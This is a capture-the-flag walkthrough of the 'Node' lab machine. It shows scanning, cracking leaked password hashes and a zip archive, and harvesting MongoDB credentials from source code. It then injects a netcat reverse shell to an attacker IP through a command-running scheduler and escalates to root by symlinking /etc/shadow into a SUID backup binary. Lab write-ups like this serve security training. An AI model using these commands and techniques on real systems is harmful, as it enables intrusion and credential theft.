Masscan + Nmap
1
2
3
$ masscan -p1-65535,U:1-65535 `IP` --rate=10000 -e tun0 | tee masscan.out
Discovered open port 22/tcp on 10.10.10.58
Discovered open port 3000/tcp on 10.10.10.58
Parse those ports to nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ ports=$(cat masscan.out |awk '{ print $4 }' | sed 's/\/tcp//;s/\/udp//' | tr '\n' ',' | sed 's/,$//')
$ nmap -sVC --min-rate 1000 -p $ports `IP` -oN nmap-fullscan.out
# Nmap 7.91 scan initiated Fri Jul 23 21:06:02 2021 as: nmap -sVC --min-rate 1000 -p 22,3000 -oN nmap-fullscan.out 10.10.10.58
Nmap scan report for 10.10.10.58
Host is up (0.086s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
| 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_ 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open hadoop-tasktracker Apache Hadoop
| hadoop-datanode-info:
|_ Logs: /login
| hadoop-tasktracker-info:
|_ Logs: /login
|_http-title: MyPlace
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul 23 21:06:18 2021 -- 1 IP address (1 host up) scanned in 16.14 seconds
Apache hadoop
I search for any exploits, there was one, which wasn’t much applicable. Visiting home page gives a endpoint /login, which asks for username and password, tried for common username and password. Nothing worked. Tried looking for some SQL injection, doesn’t seem the way.
Looking at the source code, there are some js files, one of them is profile.js
. This one gives an endpoint /api/users
Which gives this json data:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[
{
"_id": "59a7365b98aa325cc03ee51c",
"username": "myP14ceAdm1nAcc0uNT",
"password": "dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af",
"is_admin": true
},
{
"_id": "59a7368398aa325cc03ee51d",
"username": "tom",
"password": "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240",
"is_admin": false
},
{
"_id": "59a7368e98aa325cc03ee51e",
"username": "mark",
"password": "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73",
"is_admin": false
},
{
"_id": "59aa9781cced6f1d1490fce9",
"username": "rastating",
"password": "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0",
"is_admin": false
}
]
Submitting these passwords in online hash cracking sites like crackstation gives:
1
2
3
4
dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af sha256 manchester
f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240 sha256 spongebob
de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73 sha256 snowflake
5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0 Unknown Not found.
myP14ceAdm1nAcc0uNT:manchester
seems a valid password for the admin panel.
Foothold
Download the backup file:
1
$ curl -s -XGET -b 'connect.sid=s%3A4dZnYoXx7Gf_YqXNK7ceSpA_tb9nvy-T.pgkpfbvxgRkiqV8soUEzOzXjPGvosxKolqgu3MumiRo' http://10.10.10.58:3000/api/admin/backup
Looks like base64 encoded data, decoding it:
1
$ cat myplace.backup | base64 -d > myplace-decoded
Checking the file-type of decoded data:
1
2
$ file myplace-decoded
myplace-decoded: Zip archive data, at least v1.0 to extract
Unziping but it asks for a password Using zip2john to get hash:
1
2
zip2john archive 2>/dev/null
archive:$pkzip2$3*2*1*0*8*24*9c88*1223*e1154c110f34830b65717fc169586f2e1bbf3e7adb7565dec080f1bcd0d8bfe351a48039*1*0*8*24*37ef*0145*30378f7c5482d1f2b8119c622dea729d2e5fc3846c236f45cb9c7109740cfe73bb8127ed*2*0*11*5*118f1dfc*94cb*67*0*11*118f*3d0f*ba794e6d8162c81484c72a82e3e2c4d660*$/pkzip2$::archive:var/www/myplace/node_modules/qs/.eslintignore, var/www/myplace/node_modules/serve-static/README.md, var/www/myplace/package-lock.json:archive
Using john to crack the hash:
1
2
3
4
5
6
7
8
9
john hash -w:/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
magicword (archive)
1g 0:00:00:00 DONE (2021-07-23 22:09) 7.692g/s 1417Kp/s 1417Kc/s 1417KC/s santiago2..joelo
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Unzip the zip file and at var/www/myplace
you get app.js which contains:
1
2
3
4
5
6
7
8
9
10
11
12
13
cat app.js
const express = require('express');
const session = require('express-session');
const bodyParser = require('body-parser');
const crypto = require('crypto');
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const path = require("path");
const spawn = require('child_process').spawn;
const app = express();
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
So username mark:5AYRft73VtFpc84k
And we can ssh as mark.
Lateral privesc to tom
Checking out for running process, we see 2 processes running from user tom
. /var/www/myplace/app.js
is myplace which runs on port 3000, but /var/scheduler/app.js
is suspicious.
1
2
tom 1242 7.8 9.4 1059588 71280 ? Ssl 16:34 8:52 /usr/bin/node /var/www/myplace/app.js
tom 1247 0.0 5.2 1008568 39576 ? Ssl 16:34 0:02 /usr/bin/node /var/scheduler/app.js
Let’s checkout how /var/scheduler/app.js
works:
- It uses mark’s creds for accessing mongodb.
- Uses database
scheduler
and checks for any collection namedtasks
. - Checks if it contains any documents, it prints
Executing task _id ...
and then executes anything incmd
field. - Then it deletes the document it executed.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
cat /var/scheduler/app.js
const exec = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';
MongoClient.connect(url, function(error, db) {
if (error || !db) {
console.log('[!] Failed to connect to mongodb');
return;
}
setInterval(function () {
db.collection('tasks').find().toArray(function (error, docs) {
if (!error && docs) {
docs.forEach(function (doc) {
if (doc) {
console.log('Executing task ' + doc._id + '...');
exec(doc.cmd);
db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
}
});
}
else if (error) {
console.log('Something went wrong: ' + error);
}
});
}, 30000);
});
We can connect, list, insert and then check collection data in scheduler
. You can checkout the manual for commands references: docs.mongodb
1
2
3
4
5
6
7
8
9
$ mongo scheduler -u mark -p 5AYRft73VtFpc84k
MongoDB shell version: 3.2.16
connecting to: scheduler
> show collections
tasks
> db.tasks.insertOne( { _id: 1, cmd: "touch /tmp/caretaker" } );
{ "acknowledged" : true, "insertedId" : 1 }
> db.tasks.find()
{ "_id" : 1, "cmd" : "touch /tmp/caretaker" }
And after 30s, I can confirm that tom has written onto /tmp:
1
2
mark@node:/tmp$ ls -l caretaker
-rw-r--r-- 1 tom tom 0 Jul 23 23:53 caretaker
At any point of time, if you like to drop the collection to clear up things:
1
> db.tasks.drop()
Getting reverse shell as tom
:
1
2
> db.tasks.insertOne( { _id: 2, cmd: "bash -c 'rm /tmp/a;mkfifo /tmp/a;cat /tmp/a|/bin/bash -i 2>&1|nc 10.10.14.9 4444 >/tmp/a'" } );
{ "acknowledged" : true, "insertedId" : 2 }
and I get a shell:
1
2
3
4
5
6
7
8
9
$ rlwrap nc -lnvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.10.58 58550
bash: cannot set terminal process group (28294): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
tom@node:/$
Vertical privesc to root
Checking for SUID-perms shows tom has permissions to execute /usr/local/bin/backup
as he’s in admin group.
1
2
3
4
5
6
7
8
tom@node:~$ find / -type f -perm -4000 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/local/bin/backup
If I open this binary in a decompiler, it shows a code piece like this. Which shows that the binary accepts 3 parameters. (Says 4, one of them being the binary itself.)
1
2
3
if (param_1 < 4) {
exit(1);
}
If I run the binary giving three params with any value, it gives [!] Ah-ah-ah! You didn't say the magic word!
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ /usr/local/bin/backup 1 2 3
____________________________________________________
/ \
| _____________________________________________ |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | Secure Backup v1.0 | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| |_____________________________________________| |
| |
\_____________________________________________________/
\_______________________________________/
_______________________________________________
_-' .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-. --- `-_
_-'.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.--. .-.-.`-_
_-'.-.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-`__`. .-.-.-.`-_
_-'.-.-.-.-. .-----.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-----. .-.-.-.-.`-_
_-'.-.-.-.-.-. .---.-. .-----------------------------. .-.---. .---.-.-.-.`-_
:-----------------------------------------------------------------------------:
`---._.-----------------------------------------------------------------._.---'
[!] Ah-ah-ah! You didn't say the magic word!
I’ll check what the binary is doing in the background with ltrace:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ ltrace /usr/local/bin/backup 1 2 3
strncpy(0xff817f08, "2", 100) = 0xff817f08
strcpy(0xff817ef1, "/") = 0xff817ef1
strcpy(0xff817efd, "/") = 0xff817efd
strcpy(0xff817e87, "/e") = 0xff817e87
strcat("/e", "tc") = "/etc"
strcat("/etc", "/m") = "/etc/m"
strcat("/etc/m", "yp") = "/etc/myp"
strcat("/etc/myp", "la") = "/etc/mypla"
strcat("/etc/mypla", "ce") = "/etc/myplace"
strcat("/etc/myplace", "/k") = "/etc/myplace/k"
strcat("/etc/myplace/k", "ey") = "/etc/myplace/key"
strcat("/etc/myplace/key", "s") = "/etc/myplace/keys"
fopen("/etc/myplace/keys", "r") = 0x988a010
fgets("a01a6aa5aaf1d7729f35c8278daae30f"..., 1000, 0x988a010) = 0xff817a9f
strcspn("a01a6aa5aaf1d7729f35c8278daae30f"..., "\n") = 64
strcmp("2", "a01a6aa5aaf1d7729f35c8278daae30f"...) = -1
fgets("45fac180e9eee72f4fd2d9386ea7033e"..., 1000, 0x988a010) = 0xff817a9f
strcspn("45fac180e9eee72f4fd2d9386ea7033e"..., "\n") = 64
strcmp("2", "45fac180e9eee72f4fd2d9386ea7033e"...) = -1
fgets("3de811f4ab2b7543eaf45df611c2dd25"..., 1000, 0x988a010) = 0xff817a9f
strcspn("3de811f4ab2b7543eaf45df611c2dd25"..., "\n") = 64
strcmp("2", "3de811f4ab2b7543eaf45df611c2dd25"...) = -1
fgets("\n", 1000, 0x988a010) = 0xff817a9f
strcspn("\n", "\n") = 0
strcmp("2", "") = 1
fgets(nil, 1000, 0x988a010) = 0
strcpy(0xff816ad8, "Ah-ah-ah! You didn't say the mag"...) = 0xff816ad8
printf(" %s[!]%s %s\n", "\033[33m", "\033[37m", "Ah-ah-ah! You didn't say the mag"...) = 58
exit(1
So it opens a file /etc/myplace/keys
and compares the parameters with the three values in that file. Since the whole string wasn’t visible, I cat the file as I do have read permissions.
1
2
3
4
tom@node:/dev/shm$ cat /etc/myplace/keys
a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474
3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110
I pass all these as parameters now:
1
2
3
4
tom@node:/dev/shm$ /usr/local/bin/backup a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110
[+] Validated access token
[+] Starting archiving 3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110
[!] The target path doesn't exist
ltrace
shows this string, which shows that the last parameter 3de811f4ab2b7543eaf4...
is being zipped recursively to /tmp/.backup_*some-random-number*
with a password magicword:
1
sprintf("/usr/bin/zip -r -P magicword /tm"..., "/usr/bin/zip -r -P magicword %s "..., "/tmp/.backup_1395679846", "3de811f4ab2b7543eaf45df611c2dd25"...) = 129
Simplest attack which comes to mind is with the use of symbolic links. So, when that directory is recursively zipped, these symbolic links will be resolved and we’ll get all those files linked, now zipped to /tmp
.
1
2
3
4
$ mkdir 3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110
$ cd 3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110
$ ln -s /etc/shadow shadow
$ ln -s /root/root.txt root.txt
Now, when I run, it says finished
:
1
2
3
4
5
6
7
$ /usr/local/bin/backup a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110
[+] Validated access token
[+] Starting archiving 3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110
[+] Finished! Encoded backup is below:
UEsDBAoAAAAAAMpQ+FIAAAAAAAAAAAAAAABBABwAM2RlODExZjRhYjJiNzU0M2VhZjQ1ZGY2MTFjMmRkMjU0MWE1ZmM1YWY2MDE3NzI2MzhiODFkY2U2ODUyZDExMC9VVAkAAwvY+2Aa2ftgdXgLAAEE6AMAAAToAwAAUEsDBAoACQAAANR9I0vyjjdALQAAACEAAABJABwAM2RlODExZjRhYjJiNzU0M2VhZjQ1ZGY2MTFjMmRkMjU0MWE1ZmM1YWY2MDE3NzI2MzhiODFkY2U2ODUyZDExMC9yb290LnR4dFVUCQAD0BWsWZPT+2B1eAsAAQQAAAAABAAAAABpF0JOkHoUMGTvcd6OUcz8/uwOBNGRHsHWGqpg/Pjs/2LmA6Hwqd+pwsoY8JhQSwcI8o43QC0AAAAhAAAAUEsDBBQACQAIACl+I0tEby654QEAAKYEAABHABwAM2RlODExZjRhYjJiNzU0M2VhZjQ1ZGY2MTFjMmRkMjU0MWE1ZmM1YWY2MDE3NzI2MzhiODFkY2U2ODUyZDExMC9zaGFkb3dVVAkAA24WrFl74fpgdXgLAAEEAAAAAAQqAAAAwFUk/SB3Nxl8CnZ1TREHszpifw0+2aWt3G0uR3YrysF6ZFOiiycSukXx2bN7mnm+yI/B+TAj4xCKEU8dI1XlaOn6OerNgtyyPc2k7NwADIEYAD/1b0yWOT2ClQJ8HmkoAnB8rSZWcnzrc2OKVyE0Fp877qAxL+kpzkCBkzCu79GuBxmDfCD63TutRsGzP06R8dbJXHOs88rHftm14QtacU6xY2GgYPVxJVE/B3g8TvuPnDnfH/F6vW9/19xXbD3/o4EMce/jDPMpc24O/1hah3F7cOsQHHVWbkWUq0CDi3ARaL+ARhlF/wAvTteeroPRckp45yiSQwDFxfpu/+Ypvux5ynlx4duluYPz6PXpd6X0Gvk6wcBaYPWkCKahn+yspXO5XUdkPH9X5e8B9EiEruPNPCueQAn9WzMelDlVRzMqi717Pje9XHqjkWraPXw7pPMfmUPQLieXQiM/2+QNjMg87486eHa1VcZBmsTTbKFn2D2+gSEMY5KO69Gkno7qD6lXDerQlCGHM4Po7xBtnRoXGg768tBULTpARfn6d2EMoDxpAMcqdECjJuwXVkEYefOW5QK/WVGN1X8U1cR0FKWkBwHKGK7NtJxog4VdIDhFCxL6yxtslC3TiO/2OpHX11BLBwhEby654QEAAKYEAABQSwECHgMKAAAAAADKUPhSAAAAAAAAAAAAAAAAQQAYAAAAAAAAABAA7UEAAAAAM2RlODExZjRhYjJiNzU0M2VhZjQ1ZGY2MTFjMmRkMjU0MWE1ZmM1YWY2MDE3NzI2MzhiODFkY2U2ODUyZDExMC9VVAUAAwvY+2B1eAsAAQToAwAABOgDAABQSwECHgMKAAkAAADUfSNL8o43QC0AAAAhAAAASQAYAAAAAAABAAAAoIF7AAAAM2RlODExZjRhYjJiNzU0M2VhZjQ1ZGY2MTFjMmRkMjU0MWE1ZmM1YWY2MDE3NzI2MzhiODFkY2U2ODUyZDExMC9yb290LnR4dFVUBQAD0BWsWXV4CwABBAAAAAAEAAAAAFBLAQIeAxQACQAIACl+I0tEby654QEAAKYEAABHABgAAAAAAAEAAACggTsBAAAzZGU4MTFmNGFiMmI3NTQzZWFmNDVkZjYxMWMyZGQyNTQxYTVmYzVhZjYwMTc3MjYzOGI4MWRjZTY4NTJkMTEwL3NoYWRvd1VUBQADbhasWXV4CwABBAAAAAAEKgAAAFBLBQYAAAAAAwADAKMBAACtAwAAAAA=
Getting zip with base64 data
I can even get this zip with that base64 data spitted out by backup binary:
1
$ echo UEsDBAoAAAAAAMpQ+FIAAAAAAAAAAAAAAABBABwAM2RlODExZjRhYjJiNzU0M2VhZjQ1ZGY2MTFjMmRkMjU0MWE1ZmM1YWY2MDE3NzI2MzhiODFkY2U2ODUyZDExMC9VVAkAAwvY+2Aa2ftgdXgLAAEE6AMAAAToAwAAUEsDBAoACQAAANR9I0vyjjdALQAAACEAAABJABwAM2RlODExZjRhYjJiNzU0M2VhZjQ1ZGY2MTFjMmRkMjU0MWE1ZmM1YWY2MDE3NzI2MzhiODFkY2U2ODUyZDExMC9yb290LnR4dFVUCQAD0BWsWZPT+2B1eAsAAQQAAAAABAAAAABpF0JOkHoUMGTvcd6OUcz8/uwOBNGRHsHWGqpg/Pjs/2LmA6Hwqd+pwsoY8JhQSwcI8o43QC0AAAAhAAAAUEsDBBQACQAIACl+I0tEby654QEAAKYEAABHABwAM2RlODExZjRhYjJiNzU0M2VhZjQ1ZGY2MTFjMmRkMjU0MWE1ZmM1YWY2MDE3NzI2MzhiODFkY2U2ODUyZDExMC9zaGFkb3dVVAkAA24WrFl74fpgdXgLAAEEAAAAAAQqAAAAwFUk/SB3Nxl8CnZ1TREHszpifw0+2aWt3G0uR3YrysF6ZFOiiycSukXx2bN7mnm+yI/B+TAj4xCKEU8dI1XlaOn6OerNgtyyPc2k7NwADIEYAD/1b0yWOT2ClQJ8HmkoAnB8rSZWcnzrc2OKVyE0Fp877qAxL+kpzkCBkzCu79GuBxmDfCD63TutRsGzP06R8dbJXHOs88rHftm14QtacU6xY2GgYPVxJVE/B3g8TvuPnDnfH/F6vW9/19xXbD3/o4EMce/jDPMpc24O/1hah3F7cOsQHHVWbkWUq0CDi3ARaL+ARhlF/wAvTteeroPRckp45yiSQwDFxfpu/+Ypvux5ynlx4duluYPz6PXpd6X0Gvk6wcBaYPWkCKahn+yspXO5XUdkPH9X5e8B9EiEruPNPCueQAn9WzMelDlVRzMqi717Pje9XHqjkWraPXw7pPMfmUPQLieXQiM/2+QNjMg87486eHa1VcZBmsTTbKFn2D2+gSEMY5KO69Gkno7qD6lXDerQlCGHM4Po7xBtnRoXGg768tBULTpARfn6d2EMoDxpAMcqdECjJuwXVkEYefOW5QK/WVGN1X8U1cR0FKWkBwHKGK7NtJxog4VdIDhFCxL6yxtslC3TiO/2OpHX11BLBwhEby654QEAAKYEAABQSwECHgMKAAAAAADKUPhSAAAAAAAAAAAAAAAAQQAYAAAAAAAAABAA7UEAAAAAM2RlODExZjRhYjJiNzU0M2VhZjQ1ZGY2MTFjMmRkMjU0MWE1ZmM1YWY2MDE3NzI2MzhiODFkY2U2ODUyZDExMC9VVAUAAwvY+2B1eAsAAQToAwAABOgDAABQSwECHgMKAAkAAADUfSNL8o43QC0AAAAhAAAASQAYAAAAAAABAAAAoIF7AAAAM2RlODExZjRhYjJiNzU0M2VhZjQ1ZGY2MTFjMmRkMjU0MWE1ZmM1YWY2MDE3NzI2MzhiODFkY2U2ODUyZDExMC9yb290LnR4dFVUBQAD0BWsWXV4CwABBAAAAAAEAAAAAFBLAQIeAxQACQAIACl+I0tEby654QEAAKYEAABHABgAAAAAAAEAAACggTsBAAAzZGU4MTFmNGFiMmI3NTQzZWFmNDVkZjYxMWMyZGQyNTQxYTVmYzVhZjYwMTc3MjYzOGI4MWRjZTY4NTJkMTEwL3NoYWRvd1VUBQADbhasWXV4CwABBAAAAAAEKgAAAFBLBQYAAAAAAwADAKMBAACtAwAAAAA= | base64 -d > root-backup.zip
Getting zip with race condition
After I ran that binary, I don’t see any /tmp/.backup_*
file. That’s happening as the program also removes the file at the end. What I can do is try to copy that file quickly before it gets deleted:
1
2
$ while true; do cp .*backup* /tmp/root-backup.zip 2>/dev/null; ls /tmp/root-backup.zip 2>/dev/null;done
/tmp/root-backup.zip
When I unzip /tmp/root-backup.zip
with the password magicword
:
1
2
3
4
5
6
7
8
9
10
11
12
tom@node:/tmp$ python3 -c 'import pty; pty.spawn("/bin/bash")'
tom@node:/tmp$ unzip root-backup.zip
Archive: root-backup.zip
magicword
extracting: 3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110/root.txt
inflating: 3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110/shadow
tom@node:/tmp/3d...$ ls -l
-rw-r----- 1 tom tom 33 Sep 3 2017 root.txt
-rw-r----- 1 tom tom 1190 Sep 3 2017 shadow
tom@node:/tmp/3d...$ cat root.txt
1722e99ca5f353b362556a62bd5e6be0
Method-2 Root
We need not provide all the params, even one of the keys as the 2nd param would work. Let’s check that:
1
2
3
4
$ /usr/local/bin/backup a a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 b
[+] Validated access token
[+] Starting archiving b
[!] The target path doesn't exist
In fact you can even pass a \n
as a token, as file contains new-line chars too:
1
2
3
4
5
$ /usr/local/bin/backup a "" b
[+] Validated access token
[+] Starting archiving b
[!] The target path doesn't exist
Also this binary now tries to copy the 3rd param b
recursively. Which means we can specify any directory here.
1
2
3
4
5
6
$ /usr/local/bin/backup a 3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110 /root
[+] Validated access token
[+] Finished! Encoded backup is below:
UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==
But Base64 decoding and then unzipping this binary with password magicword
, instead of giving root.txt gives a troll message:
$ cat root.txt
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQQQQQQQWQQQQQWWWBBBHHHHHHHHHBWWWQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQQQD!`__ssaaaaaaaaaass_ass_s____. -~""??9VWQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQP'_wmQQQWWBWV?GwwwmmWQmwwwwwgmZUVVHAqwaaaac,"?9$QQQQQQQQQQQQQQ
QQQQQQQQQQQW! aQWQQQQW?qw#TTSgwawwggywawwpY?T?TYTYTXmwwgZ$ma/-?4QQQQQQQQQQQ
QQQQQQQQQQW' jQQQQWTqwDYauT9mmwwawww?WWWWQQQQQ@TT?TVTT9HQQQQQQw,-4QQQQQQQQQ
QQQQQQQQQQ[ jQQQQQyWVw2$wWWQQQWWQWWWW7WQQQQQQQQPWWQQQWQQw7WQQQWWc)WWQQQQQQQ
QQQQQQQQQf jQQQQQWWmWmmQWU???????9WWQmWQQQQQQQWjWQQQQQQQWQmQQQQWL 4QQQQQQQQ
QQQQQQQP'.yQQQQQQQQQQQP" <wa,.!4WQQQQQQQWdWP??!"??4WWQQQWQQc ?QWQQQQQ
QQQQQP'_a.<aamQQQW!<yF "!` .. "??$Qa "WQQQWTVP' "??' =QQmWWV?46/ ?QQQQQ
QQQP'sdyWQP?!`.-"?46mQQQQQQT!mQQgaa. <wWQQWQaa _aawmWWQQQQQQQQQWP4a7g -WWQQ
QQ[ j@mQP'adQQP4ga, -????" <jQQQQQWQQQQQQQQQWW;)WQWWWW9QQP?"` -?QzQ7L ]QQQ
QW jQkQ@ jWQQD'-?$QQQQQQQQQQQQQQQQQWWQWQQQWQQQc "4QQQQa .QP4QQQQfWkl jQQQ
QE ]QkQk $D?` waa "?9WWQQQP??T?47`_aamQQQQQQWWQw,-?QWWQQQQQ`"QQQD\Qf(.QWQQ
QQ,-Qm4Q/-QmQ6 "WWQma/ "??QQQQQQL 4W"- -?$QQQQWP`s,awT$QQQ@ "QW@?$:.yQQQQ
QQm/-4wTQgQWQQ, ?4WWk 4waac -???$waQQQQQQQQF??'<mWWWWWQW?^ ` ]6QQ' yQQQQQ
QQQQw,-?QmWQQQQw a, ?QWWQQQw _. "????9VWaamQWV???" a j/ ]QQf jQQQQQQ
QQQQQQw,"4QQQQQQm,-$Qa ???4F jQQQQQwc <aaas _aaaaa 4QW ]E )WQ`=QQQQQQQ
QQQQQQWQ/ $QQQQQQQa ?H ]Wwa, ???9WWWh dQWWW,=QWWU? ?! )WQ ]QQQQQQQ
QQQQQQQQQc-QWQQQQQW6, QWQWQQQk <c jWQ ]QQQQQQQ
QQQQQQQQQQ,"$WQQWQQQQg,."?QQQQ'.mQQQmaa,., . .; QWQ.]QQQQQQQ
QQQQQQQQQWQa ?$WQQWQQQQQa,."?( mQQQQQQW[:QQQQm[ ammF jy! j( } jQQQ(:QQQQQQQ
QQQQQQQQQQWWma "9gw?9gdB?QQwa, -??T$WQQ;:QQQWQ ]WWD _Qf +?! _jQQQWf QQQQQQQ
QQQQQQQQQQQQQQQws "Tqau?9maZ?WQmaas,, --~-- --- . _ssawmQQQQQQk 3QQQQWQ
QQQQQQQQQQQQQQQQWQga,-?9mwad?1wdT9WQQQQQWVVTTYY?YTVWQQQQWWD5mQQPQQQ ]QQQQQQ
